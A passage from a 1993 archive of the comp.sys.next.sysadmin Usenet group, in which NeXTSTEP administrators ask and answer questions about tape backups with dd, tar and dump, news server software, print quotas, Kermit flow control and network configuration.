>Thank You,
>--
>
>Bill Parod 627 Dartmouth Place, Evanston, IL 60208
Yes, your guess is close: this is a problem with blocksizes.
The tar tape was created with the 10kB blocks (typical default), but reading
from the pipe cannot assure blocks bigger than 512 bytes. I bet you will
have no problems using
dd if=/dev/rxt0 ibs=10k obs=512 | tar tvf -
-Z.
Newsgroups: comp.sys.next.sysadmin
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Software License Server
Message-ID: <1993May05.051409.173102@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
Date: Wed, 05 May 1993 05:14:09 GMT
Does anyone know of any Software License Servers? We have 20 some NeXTs,
and have 11 copes of TopDraw, 2 copies of Frame Maker, etc, etc, etc, and
we only want to have 'x' copes of any particular program running at any
time. Does anyone have any such software, or know where I can get it?
- kevin Wang
Newsgroups: comp.sys.next.sysadmin
From: reed@prism.sps.mot.com (Tim Reed)
Subject: FaxReader.app
Message-ID: <1993May4.222430.14071@newsgate.sps.mot.com>
Keywords: faxreader fax
Sender: usenet@newsgate.sps.mot.com
Organization: SPS
Date: Tue, 4 May 1993 22:24:30 GMT
The FaxReader tells me that the directory is getting full. When I
looked at the directory structure, I noticed a directory call
'__print'. This directory appears to contain a copy of all faxes ever
received and printed. Can this directory be deleted without harm to
the FaxReader application? I can't find any documentation for the
FaxReader.app (NS3.0).
Thanks for your help.
--
----------------------------------------------------------
Tim Reed Motorola SPS
PRISM CIM Systems Administrator 2100 E. Elliot Rd.
email: reed@prism.sps.mot.com MD: EL606
Phone: 602-897-4703 Tempe, AZ. 85282
Fax: 602-897-3549
Newsgroups: comp.sys.next.sysadmin
From: Doug_Smith@Novell.COM (J. Douglas Smith)
Subject: Lost my File Viewer
Message-ID: <C6K6xt.BHI@Novell.COM>
Sender: usenet@Novell.COM (Usenet News)
Organization: Novell, Inc.
Date: Wed, 5 May 1993 14:58:41 GMT
Yesterday my system crashed. When I rebooted and logged in, everything
seemed to be OK except that the File Viewer is missing. All the programs
that I have marked to autolaunch seem to work, but I can't get either the
File Viewer or the Recycler to work. Any ideas on how I can get this
fixed?
Oh, by the way, I'm running NeXTStep 3.0 on a 16MB 040 cube.
--
Doug Smith Internet: jdsmith@novell.com
Novell, INC. Phone: (801) 429-7324
UNIX Desktop Group
From: bubi@cs.tu-berlin.de (Burghard W. V. Britzke)
Newsgroups: comp.sys.next.sysadmin
Subject: Font-Problem
Date: 5 May 1993 15:52:05 GMT
Organization: Technical University of Berlin, Germany
Distribution: h
Message-ID: <1s8nr5$o8q@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
I converted an IBM Postscript font from the pfb-format to the next
Format. I installed the font together with the right AFM-file.
But my font panel says: "unusable font"
I tried to use the font with the YAP-Applicatioô¨n - it worked
I tried to use the font with the Previewer (I loaded the font as Ps-file
) it worked too
does any body know where the problem comes from ?
please send answers to
bubi@cs.tu-berlin.de
thanks in advance
(der Burghard [W.V.Britzke])
From: shirono@ssd.csd.harris.com (Roberto Shironoshita)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
Subject: Re: dump - what gets dumped
Date: 5 May 93 12:03:58
Organization: Harris Computer Systems
Distribution: world
Message-ID: <SHIRONO.93May5120358@gcx1.ssd.csd.harris.com>
References: <1s5l53$sdk@mathserv.mps.ohio-state.edu>
<1s6cra$alm@mathserv.mps.ohio-state.edu>
In-reply-to: nevai@ops.mps.ohio-state.edu's message of 4 May 1993 18:32:10 GMT
In article <1s6cra$alm@mathserv.mps.ohio-state.edu> nevai@ops.mps.ohio-state.edu (Paul Nevai) writes:
> In article <1s5l53$sdk@mathserv.mps.ohio-state.edu> pali+@osu.edu azt mondja:
> :According to the dump man pages dumping is done by modification times (after
> :consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by
> :access times! Is that true?
> :
> :BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got
> :dumped at the 9 level again. Between yesterday and today all my files were
> :accessed but only a few changed. Any suggestions?
> :
>
> CORRECTION: not 9 but 0 level again. I think that dump goes by "ctime", i.e.
> by status change time instead of the modification time. Can this be
> confirmed?
Looks like you are talking about BSD's dump. So that's what I'm going to
talk about.
Dump dumps all files that have changed since the last dump OF A LOWER
LEVEL. That is, for level 9, it dumps everything that has changed since
the most recent dump of any of the levels 0 thru 8. For level 8 it's
levels 0 thru 7, and so on. Since there are no levels lower than 0, level
0 is in effect an archive.
--
Roberto Shironoshita || Internet: shirono@ssd.csd.harris.com
Harris Corporation ||
Computer Systems Division || UUCP: ...!uunet!ssd.csd.harris.com!shirono
||
DISCLAIMER: The opinions expressed here are my own; they in no way reflect the
opinion or policies of Harris Corporation.
Newsgroups: comp.sys.next.sysadmin
From: yf5990@u.cc.utah.edu (Yan Fang)
Subject: Why no user 'bin' in 3.0?
Message-ID: <1993May5.155045.7076@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center Student Mail Machine
Date: Wed, 5 May 93 15:50:45 GMT
After having fought my news installation to a bloody death, and after
trying futilely (is that a word?) to bring it back up to a working state
after a recent system rebuild, I have discovered that Release 3.0 doesn't
ship with the user 'bin'. I remember distinctly that my 2.1 installation
did. Why did 2.1 ship with 'bin', and not 3.0?
I'm wondering if there is a kind soul who wouldn't mind having me call him
or her with questions about bringing news back up. I have Cnews
compiled on my machine now, but none of the mechanisms seem to unbatch
incoming news. I've tried everything I can think of and everything
several others can think of, too; permissions are fine, all of the
binaries are the same size on my machine as they are on another, working,
machine. It's my feeling that the uids and gids are messed up some way,
but I can't pin it down. On a similar note, I am ready to get my Epson
Progression NX at work receiving news also; I know this subject was covered
before, but did anyone ever recompile NewsGrazer with Intel
binaries?
I can be reached at home at 801.355.6351 after 6 p.m., or at work at
Alpine Computing at 801.268.8877, during business hours. If you want to
email me concerning news, send it to this address or to
kris@nurslab303a.nurs.utah.edu. Thanks.
Kris Magnusson
Alpine Computing
(using my wife's account until I get news working again)
--
Yan-Fang Magnusson <yf5990@u.cc.utah.edu>
Nuclear-powered philosophy student <Give me $20 or kill me>
Newsgroups: comp.sys.next.sysadmin
From: cpf@broca.med.virginia.edu(Chris Fall)
Subject: nexttrash quest
Message-ID: <C6KBB1.7CJ@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Wed, 5 May 1993 16:33:00 GMT
does anyone have suggestions for a method/script to go through as super-user
and clean out nexttrash directories??
Chris Fall
UVa Neurosurgery
cpf8k@virginia.edu
From: bill@ganesha.cognet.ucla.edu (William Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Cnews,bnews,INN Which one
Date: 5 May 1993 18:11:29 GMT
Organization: UCLA Cognitive Science Research Program
Message-ID: <1s900h$ouh@alamut.cognet.ucla.edu>
References: <1993May2.065625.274@pyrian.com>
In article <1993May2.065625.274@pyrian.com> ian@pyrian.com (Ian H.
Stewart) writes:
> Which one do I want. I am currently using Cnews, but now need to manage
> multi-platform machines. I need source etc. Which of the three or
others?
> are better.
>
> Things I would like to see:
>
> fewer binaries
> source
> easily compiled for one or multi arch.
>
> Any help / direction is appreciated.
>
> --
> Ian H. Stewart | voice/fax 415-664-1170
> Pyrian Software Group | Net Ian_Stewart@pyrian.com
> NeXTSTEP Consulting | Isn't LiFE more like RiSK?
I installed INN over a month ago. Wonderful. I never did understand
what was going on with Cnews, specifically how to find out what's wrong
in an easy way (rather than changing the configuration and seeing whether
news starts filtering in an hour later.)
INN gives lots of instructions, point-by-point tells you how to verify
that
feeds and access are as they should be, automatically configures the
log files in a convenient fashion (automatically compressing the old
ones),
and gives lots of sample templates in the configuration files so you can
copy-paste-modify in a pretty amazingly simple fashion.
I muddled over a broken Cnews for a week and never got it right (even
when it had been running okay on another machine). I installed INN and
had it running correctly in one day.
And INN seems a lot faster, and is supposed to support compression
for incoming news (a feature I have to research).
Now if Cnews comes out with a new version, maybe it'll be better, but
I'm quite happy with this setup.
Bill
--
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*** He who remembers the past is condemned to misread it. ***
- George Santana
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From: jpowell@borg.lib.vt.edu (James Powell)
Subject: ethernet_II to ethernet_802.3
Message-ID: <1993May5.203736.28161@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: UNC Educational Computing Service
Date: Wed, 5 May 1993 20:37:36 GMT
How do I reconfigure a NeXT to support ethernet_802.3? Is this possible?
Someone in my office insists that the PC's on our Novell network can
support ethernet_802.3, that this is newer, and that he has problems with
other workstations because he has to configure them for the older
protocol.
--
James Powell >>> Library Automation, University Libraries, VPI&SU
>>> JPOWELL@VTVM1.CC.VT.EDU
>>> jpowell@borg.lib.vt.edu - NeXTMail welcome here
>>> Owner of VPIEJ-L, a discussion list for Electronic
>>> Journals
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From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Print Quotas
Message-ID: <1993May5.205240.12042@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Apr26.232152.147458@zeus.calpoly.edu>
Date: Wed, 5 May 1993 20:52:40 GMT
Kevin John Wang (kwang@data.acs.calpoly.edu) wrote:
: I grabbed the "Quotas" disk and printing quotas utility
: from sonata, and it unfortunately does NOT work with NeXT
: printers! It was expecting an intelligent Postscript
: printer that it could request a page count from. So my
: questions stand:
: 1: does anyone know of a print quota paackage that works?
: 2: if not, is there anything that'll go through and parse
: the printcap accounting files? (as to build a script
: based print controller, and turn it on and off day by day as
: the file quotas currently work.
: 3: absolute worse, how does the print information flow,
: such that I might be able to insert my own filter? i.e. app
: -> printcap -> lpd -> remote print machine -> printer
:
: - Kevin Wang
I'm working on one now. But the nittygrittys are this:
1. Change the first filter call in printcap/netinfo from npcomm to psif.
2. Edit psif, let it do the initial processing. As you follow the logic,
you will see that it creates temporary files in /tmp if the file was not
initially a postscript file. Now acting on either the temporary file,
or the orignal postscript file do a grep for %%Pages. This is NOT a
foolproof method, but does work well enough for "well behaved"
documents, which is most everything but stuff churned out by postscript
hackers.
3. Now that you know, (sort of ) what the number of pages are, you can
either let the file print, or cat /dev/null >! printfile, and send him
mail.
Good luck.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: andylee@oahu.cs.ucla.edu (Andrew Alaski Lee)
Subject: Kermit File Transfer Problem
Message-ID: <1993May5.201302.1732@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
Date: Wed, 5 May 93 20:13:02 GMT
I am having problem with Kermit's (C-Kermit 5A(179) BETA) file
transfer after I switched from a mono station to a turbo color this
past weekend. Instead of "....." during a file transfer, I'm getting
"..NNNNNNNN..N.NNN". And there isn't much line-noise either ---
everything is fine when I'm just telneting. This is very puzzling
because I'm using the same 3.0 system software in an external hard
drive. The only difference is the new turbo color vs. the old mono.
Should I use a different modem cable? Has anyone have similar
experience?
Here is my .kermrc settings for file transfer:
set receive packet-length 1024
set send packet-length 1024
set block 3, set window 4
Any help is greatly appreciated!
# Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks #
# andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer #
# (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. #
# (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
--
# Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks #
# andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer #
# (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. #
# (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: Cnews,bnews,INN Which one
Message-ID: <1993May4.181950.1883@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <1993May2.065625.274@pyrian.com>
Date: Tue, 4 May 1993 18:19:50 GMT
In article <1993May2.065625.274@pyrian.com> ian@pyrian.com (Ian H.
Stewart) writes:
> Which one do I want. I am currently using Cnews, but now need to manage
> multi-platform machines. I need source etc. Which of the three or
others?
> are better.
>
> Things I would like to see:
>
> fewer binaries
> source
> easily compiled for one or multi arch.
>
> Any help / direction is appreciated.
>
The choice of news system is mostly a matter of taste (flames by mail
please)! If you got one why bother about an other? You only need one
server per network. So you need to get a NNTP server and several clients
for any of your architectures. Nothing more!
Source for NNTP is almost everywhere. If you find a FTP site for Unix
software you very likely have found a source for NNTP software.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.sysadmin
From: hwr@pilhuhn.ka.sub.org (Heiko W.Rupp)
Subject: Re: Cnews,bnews,INN Which one
References: <1993May2.065625.274@pyrian.com> <1993May4.181950.1883@nidat.sub.org>
Date: Wed, 5 May 1993 23:34:27 GMT
Organization: The home of the Pilhuhn
Message-ID: <C6KutG.22B@pilhuhn.ka.sub.org>
Nitezki@NiDat.sub.org (Peter Nitezki) writes:
>> Which one do I want. I am currently using Cnews, but now need to manage
>The choice of news system is mostly a matter of taste (flames by mail
Not exactly. For a feed site it is a matter of speed and cpu usage.
Chuck van Rospach (sp?) from Apple meant after upgrading from B-News
to eitehr INN or C News (I think it was the performance release of C
news), that this was the first moment within a year, that his disks
didn't step all time.
Two days ago I upgraded from th 1990 release of C news to the '93
performance release, which is at least the two to three times as fast
as the '90 release.
If you want many nntp-Feeds, than INN might be preferable over C News
plus NNTP, but it also needs much more memory.
--
Heiko W.Rupp Gerwigstr.5 D-7500 (76131) Karlsruhe +49 721 693642
We're only in it for the volume.
-- Black Sabbath
Newsgroups: comp.sys.next.sysadmin
From: rbaxter@netcom.com (Richard B. Baxter MD)
Subject: Frequent System Panics
Message-ID: <rbaxterC6LBIJ.94u@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Distribution: comp.sys.next.sysadmin
Date: Thu, 6 May 1993 05:35:06 GMT
I have been experiencing frequent system panics on my 040ND cube recently, with messages such as "panic:(cpu 0) illegal instruction", "panic address error" appearing in the nmi window.
Has anyone else experienced this, or have any suggestions?
Please e-mail me any ideas.
--
Richard B. Baxter
rick@kaos.stanford.edu (NeXT Mail)
rbaxter@netcom.com (NeXT Mail)
Newsgroups: comp.sys.next.sysadmin
Subject: POP3 under NS3.0
Message-ID: <1993May5.175747.23608@husc3.harvard.edu>
From: Manuel Veloso <veloso@husc9.harvard.edu>
Date: 5 May 93 17:57:45 EDT
Distribution: world
Organization: Harvard University
Hello,
I'm trying to get POP3 to work under NS3.0, and am having problems
getting a connection to the POP port. popper compiles fine, and
actually responds to telnets going into port 109. However, I can't
get into port 110, no matter what I try (including removing the
pop2 stuff from inetd.conf & /etc/services). The machine is set up
as a standalone, multi-user machine...does anyone have any idea
what might be wrong?
Manuel
Newsgroups: comp.dcom.modems,comp.sys.next.sysadmin,comp.sys.next.misc
From: Monty Solomon <monty%roscom@think.com>
Subject: Supra v.32bis and uucp
Message-ID: <1993May5.102917.8793@proponent.com>
Followup-To: comp.dcom.modems
Sender: monty@proponent.com (Monty Solomon)
Organization: Proponent
Date: Wed, 5 May 1993 10:29:17 GMT
A friend of mine has a SupraFAXModem v.32bis and DFax on his NeXT.
He is dialing into another system for email and news. The other system has a
Telebit Worldblazer.
What configuration settings and chat script commands do you recommend for
the SupraFAXModem in order to get maximum throughput?
Thanks.
Monty
--
# Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405
# monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: Re: Help! Loginwindow not appearing on startup
Message-ID: <1993May7.025506.14676@relief.com>
Sender: jjfeiler@relief.com
Organization: relief consulting
References: <1rrhlr$15p@nz12.rz.uni-karlsruhe.de>
Date: Fri, 7 May 1993 02:55:06 GMT
In article <1rrhlr$15p@nz12.rz.uni-karlsruhe.de> Ruediger Popp
<rpopp@ebigek01.ciw.uni-karlsruhe.de> writes:
> In article <1993Apr28.124542.1909@xexos.com> mark@xexos.com (Mark
Chamberlain)
> writes:
> > In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John
Jay
> > Feiler) writes:
> > > I'm having a rather odd problem. When I boot my system, the startup of
> > > nmserver seems to be dying. I get an error message on the console,
> something
> > > like:
> > >
> > > tcp_listener.bind failed: errno=48
> > > TCP: panic.
> > >
> >
> > Which version of NeXTStep are you running? I think I know, and it
shouldn't
> > really be discussed here.
> >
> > Check that /etc/hostconfig exists. During one of our upgrades it got
trashed
> > and this happened to us. It also happened a few times when running said
> version
> > in 8Mb.
> >
> > --
> > Mark Chamberlain +44 71 237 4535
> > Xexos Ltd fax +44 71 231 0844
> > London mark@xexos.com
>
>
> We are running a 040 Cube with 64MB and a 16 MB NeXTDimension Board (PAL).
> After installing NS3.0 from scratch (not an upgrade!) we had a lot of
troubles
> with the missing loginwindow, too.
> After several failed trials we fixed the problem.
>
> Obviously one of the fontdirectories
> /NextLibrary/Fonts or
> /LocalLibrary/Fonts
> was corrupted in an unknown way.
>
> The problem was solved copying the Directories from CD to HD in single-user
> mode.
>
> A user in Austria who had similiar problems fixed the bug running
builafmdir
> over the directories
Turns out that adding "sleep 4" after the nmserver startup code in /etc/rc
solved the problem. Something was stomping on something else, and making
them wait a bit let their tempers cool down......
> ---
> -----------------------------------------------------------------
> Ruediger Popp
> Engler-Bunte-Institute
> Dept. Chemistry and Technology of Gas, Oil and Coal
> University of Karlsruhe (TH)
> Richard-Willstaetter-Allee 5
> W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe)
> Germany
> Tel.: +49 721 608 2994
> E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred)
> -----------------------------------------------------------------
--
John Feiler jjfeiler@relief.com
4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin
From: andylee@oahu.cs.ucla.edu (Andrew Alaski Lee)
Subject: Kermit Problem Solved (Almost)
Message-ID: <1993May7.080637.25256@cs.ucla.edu>
Keywords: kermit modem
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
Date: Fri, 7 May 93 08:06:37 GMT
Thanks to all those who responded to my earlier post. I have solved
the problem --- the turbo can't handle the data comming its way at
9600 baud and needs flow control. So I set the flow control, at both
remote and local host, to rts/cts, and "set line /dev/ttyfa" locally.
Now I have no more NAK's in my file transfer. :-) But I still need to
resolve these issues: :-(
(1) Why was my old 25MHz mono able to handle the data at 9600 baud
without flow control while the new turbo color cannot. This seems
counter-intuitive because the turbo is faster (I should think so after
I spend all this money "upgrading"). The only explanation I can come
up with is that the old mono had 20MB RAM while the new turbo color
has only 16MB. Any other guess?
(2) The latest version of kermit at sonata.cc.purdue.edu doesn't
support rts/cts flow control! So I am still using my "out-dated"
version, 5A(179) BETA... Where may I find the source to Kermit
5A(188) so I can compile it with the rts/cts flow control?
# Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks #
# andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer #
# (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. #
# (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
--
# Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks #
# andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer #
# (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. #
# (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin
From: ian@pyrian.com (Ian H. Stewart)
Subject: Thanks for sendmail.cfs
Message-ID: <C6MqI3.JI@pyrian.com>
Sender: ian@pyrian.com (Ian H. Stewart)
Organization: PYRIAN 415 664-1170
Date: Thu, 6 May 1993 23:56:27 GMT
Thank you to all that responded to my original request.
I have notice so many different approches and have only one
more question. Where do I find a discription of all the
commands a sendmail.cf file understands.
Thanks again.
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | Net Ian_Stewart@pyrian.com
NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin
From: koelman@cuby.stc.nl (Ton Koelman)
Subject: Re: PhoneKit and National ISDN-1
Message-ID: <1993May7.113600.26726@stc.nato.int>
Sender: usenet@stc.nato.int (USENET messages)
Organization: SHAPE Technical Centre, NL
References: <7353930503017@locke.mcs.anl.gov>
Date: Fri, 7 May 1993 11:36:00 GMT
In article <7353930503017@locke.mcs.anl.gov> olson@locke.mcs.anl.gov (Bob
Olson) writes:
> Has anyone used the PhoneKit with a switch that uses the National ISDN-1
> protocol? The Kit supports only AT&T and Northern Telecom switches; I
> was curious whether anyone has hacked upon it to make it work with
> other switches.
>
> --bob
Forget it. I've been asking NeXT for a 1TR6 (German) version
for a year. The ISDN stuff runs on the DSP so it's kinda
hard to modify...
--
Ton Koelman e-mail: koelman@stc.nato.int (NeXT Mail Welcome!)
SHAPE Technical Centre, P.O. Box 174, 2501 CD The Hague
The Netherlands (voice: 31-70-3142429, fax: 31-70-3142111)
Newsgroups: comp.sys.next.sysadmin
From: mschwage@next3.corp.mot.com (Mike Schwager)
Subject: Re: dump - what gets dumped
Organization: MOTOROLA
Date: Fri, 7 May 1993 16:06:47 GMT
Message-ID: <1993May7.160647.1633@schbbs.mot.com>
References: <1s5l53$sdk@mathserv.mps.ohio-state.edu>
Sender: news@schbbs.mot.com (Net News)
> BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got
> dumped at the 9 level again. Between yesterday and today all my files were
> accessed but only a few changed. Any suggestions?
>
> Please respond by email. Thanks. Take care...Paul
>
Make sure you use the "u" option to dump, so it updates your /etc/dumpdates
file. Otherwise, your dump will not get recorded, and any lower level
dumps will not think that the higher level dumps got done!
Experiment 1: The "Why did it dump the whole disk?" double fulldump
Do this:
/etc/dump 0f /dev/<tape> /<fsys>
Now do this:
/etc/dump 9f /dev/<tape> /<fsys>
Voila! You now have two fulldumps. cat /etc/dumpdates, and look at what
you (don't) have. Now if you do this:
/etc/dump 0uf /dev/<tape> /<fsys>
then
/etc/dump 9uf /dev/<tape> /<fsys>
and now cat /etc/dumpdates and you are a happy camper.
-Mike
================================================
Mike Schwager schwager@mot.com
Working for, but by no means speaking for: | "Practice random kindess and
Motorola, Inc. (708) 576-6993 voice | senseless acts of beauty"
1299 E. Algonquin Rd. (708) 576-3111 fax | - Anne Herbert
Schaumburg, IL 60196
Newsgroups: comp.sys.next.sysadmin
From: jwc@renoir.wustl.edu (Julie W. Chan)
Subject: 3.0 and 3.1
Message-ID: <1993May7.210039.20540@wuecl.wustl.edu>
Sender: usenet@wuecl.wustl.edu (News Administrator)
Organization: Washington University, School of Engineering, St. Louis MO
Date: Fri, 7 May 1993 21:00:39 GMT
I heard that NextStep 3.1 is going to be available by the end of this
month. Can anyone tell me what is changed in from 3.0 to 3.1?
Thanks
From: hans@symbas.UUCP (Hans Aafloy)
Newsgroups: comp.sys.next.sysadmin
Subject: swapfile on extrernal (non-boot) disc
Message-ID: <3818@symbas.UUCP>
Date: 7 May 93 12:35:51 GMT
Distribution: world
Organization: Symbiotic Computer Systems A/S, Trondheim, Norway
On some of our installations we'd like to have the system swap file
( for virtual memory ) located on one of the external ( non boot )
SCSI disks, but this seems a lot easier said than done.
The path/swapfilename I've tried as an entry in /etc/swaptab as well
as direct parameter to mach_swapon.
In the first case error messages like :
" swent_get: line 1 too long, ignoring " are issued, and in the
latter case, mach_swapon issuess:
mount: device busy.
Has anyone any experience in theese matters ??
Thanx,
Hans
==========================================================================
Hans Aafloy hans@symbas.lind.no
LindMac A/S Phone: +477 96 73 11
7038 Trondheim, NORWAY Fax: . . . .45 05
===========================================================================
From: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: netinfo across routers ??
Date: 8 May 93 00:19:19
Organization: University of Michigan
Distribution: usa
Message-ID: <GISLI.93May8001919@liapunov.eecs.umich.edu>
I have been asked to connect a NeXT computer to my humble network
running netinfo. However, this new machine is in another domain.
Is this a problem for netinfo? Can a machine IP 141.212.137.131
be a netinfo client of a netinfo server IP 141.212.98.130?
If yes, how can I configure this new machine so that it can run
independently even if one of the networks is down? Is it enough to
set up accounts only in the local domain using local diskspace?
Thanks
Gisli
PS. My network is NS 3.0 but the 'new' machine is 2.1
--
...............................................................................
Gisli Ottarsson
Delenda est Carthago. University of Michigan
gisli@engin.umich.edu
...............................................................................
From: daugher@cs.tamu.edu(Walter C. Daugherity)
Newsgroups: comp.sys.next.sysadmin
Subject: "mach: proc: table is full" error
Date: 8 May 1993 19:56:15 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1sh38v$rlq@tamsun.tamu.edu>
Keywords: mach error
On a 25 MHz 68040 cube running NeXTSTEP 3.0, verbose mode boot includes the
error "mach: proc: table is full". I haven't been able to find this in Digital
Librarian; does anyone know what it means? Sometimes the system seems to
work normally anyway and sometimes it hangs with the disk spinning cursor after
entering an account name and password.
Please reply by e-mail (and post too if it's of general interest).
Thanks!
--
Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
---Not an official document of Texas A&M---
Newsgroups: comp.sys.next.sysadmin
From: mouse@thunder.mcrcim.mcgill.edu (der Mouse)
Subject: Re: How to dump directories instead of filesystems???
Message-ID: <1993May8.225103.19311@thunder.mcrcim.mcgill.edu>
Organization: McGill Research Centre for Intelligent Machines
References: <1s2u9r$ml4@mathserv.mps.ohio-state.edu>
Date: Sat, 8 May 93 22:51:03 GMT
In article <1s2u9r$ml4@mathserv.mps.ohio-state.edu>, nevai@math.ohio-state.edu (Paul Nevai) writes:
> The NEXT 3.0 version of dump can only dump filesystems but not
> directories, I think. Is there a way to do the latter.
> (I think the SUN dump does this)
I'm fairly sure it doesn't. Sun dump is more or less the BSD dump,
which reads the raw disk device and dumps in inode order. Not really
amenable to dumping just part of the hierarchy of a filesystem.
Have you considered using tar or something similar?
der Mouse
mouse@mcrcim.mcgill.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to dump directories instead of filesystems???
Date: 8 May 1993 21:23:33 -0500
Organization: University of Illinois at Urbana
Message-ID: <1shpvj$eng@ux1.cso.uiuc.edu>
References: <1s2u9r$ml4@mathserv.mps.ohio-state.edu> <1993May8.225103.19311@thunder.mcrcim.mcgill.edu>
mouse@thunder.mcrcim.mcgill.edu (der Mouse) writes:
>In article <1s2u9r$ml4@mathserv.mps.ohio-state.edu>, nevai@math.ohio-state.edu (Paul Nevai) writes:
>> The NEXT 3.0 version of dump can only dump filesystems but not
>> directories, I think. Is there a way to do the latter.
>> (I think the SUN dump does this)
>I'm fairly sure it doesn't. Sun dump is more or less the BSD dump,
>which reads the raw disk device and dumps in inode order. Not really
>amenable to dumping just part of the hierarchy of a filesystem.
Actually, dump in SunOS 4.1.3 does let you dump individual
directories. I don't know about Solaris 2.1, I have managed to keep my
hands off such buggy software. :-)
There is no way for dump on the NeXT to do anything but
filesystems.
>Have you considered using tar or something similar?
That's probably the next logical (and only reasonable) approach.
However, I suggest using GNUTar which is is /usr/bin/gnutar in 3.x.
It doesn't have the 100 char filenames problem which can be a large
one doing backups.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: o_endrikat@oe.fn.sub.org (Oliver Endrikat)
Subject: Re: NETMASK PROBLEM
Message-ID: <1993May9.122223.471@oe.fn.sub.org>
Sender: oe@oe.fn.sub.org (Oliver Endrikat)
Organization: oliver endrikat - freier informatiker
References: <1993May1.004904.10569@kakwa.ucs.ualberta.ca>
Date: Sun, 9 May 1993 12:22:23 GMT
In article <1993May1.004904.10569@kakwa.ucs.ualberta.ca>
clarance@nshade.uah.ualberta.ca (Clarance Howatt) writes:
: Background:
: In the hospital where I work there are several domains ranging from
: xxx.xxx.104.xxx to xxx.xxx.111.xxx. For security reasons only the
: internet addresses in the xxx.xxx.109.xxx domain have access to the
: internet.(the router ignores everything else). I have 4 (soon to be
8)
: NeXT color slabs on the xxx.xxx.109.xxx domain.
:
: Problem:
: I need to find a way to allow the NeXTs on th 109 domain to talk to
NeXTs
: that are not on the 109 domain. Ya I thought it would be easy to. I
: changed the netmask to 255.255.248.0 and thought that was it. The
result
: was that although the NeXTs could now see the entire hospital network
only
: the server could get outside of this domain. It would seem that NFS
is
: doing something magic. If you have any thoughts one this they would
be
: greatly appreciated.
:
Are you shure you changed the netmask on any single one of your hosts and
not only on your server?
--
| oliver endrikat
| freier informatiker
|____________________________________________________________
Newsgroups: comp.sys.next.sysadmin
From: o_endrikat@oe.fn.sub.org (Oliver Endrikat)
Subject: Re: sendmail wizards
Message-ID: <1993May9.125115.579@oe.fn.sub.org>
Sender: oe@oe.fn.sub.org (Oliver Endrikat)
